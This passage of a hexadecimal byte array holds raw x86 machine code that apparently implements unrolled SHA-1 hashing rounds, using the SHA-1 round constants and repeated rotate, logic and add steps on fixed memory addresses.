0x41, 0x40, 0x00, 0x33, 0x05, 0xCC, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x0C, 0x42, 0x40, 0x00, 0xA1, 0x04, 0x42, 0x40, 0x00, 0x33, 0x05, 0xF0, 0x41, 0x40, 0x00, 0x33, 0x05, 0xD8, 0x41, 0x40, 0x00, 0x33, 0x05, 0xD0, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x10, 0x42, 0x40, 0x00, 0xA1, 0x08, 0x42, 0x40, 0x00, 0x33, 0x05, 0xF4, 0x41, 0x40, 0x00, 0x33, 0x05, 0xDC, 0x41, 0x40, 0x00, 0x33, 0x05, 0xD4, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x14, 0x42, 0x40, 0x00, 0xBE, 0x99, 0x79, 0x82, 0x5A, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0xD8, 0x40, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0xDC, 0x40, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0xE0, 0x40, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0xE4, 0x40, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0xE8, 0x40, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0xEC, 0x40, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0xF0, 0x40, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0xF4, 0x40, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0xF8, 0x40, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0xFC, 0x40, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0x00, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0x04, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0x08, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0x0C, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00,\n 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0x10, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0x14, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0x18, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0x1C, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0x20, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0x24, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xBE, 0xA1, 0xEB, 0xD9, 0x6E, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x28, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x2C, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x30, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x34, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x38, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x3C, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x40, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x44, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x48, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C,\n0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x4C, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 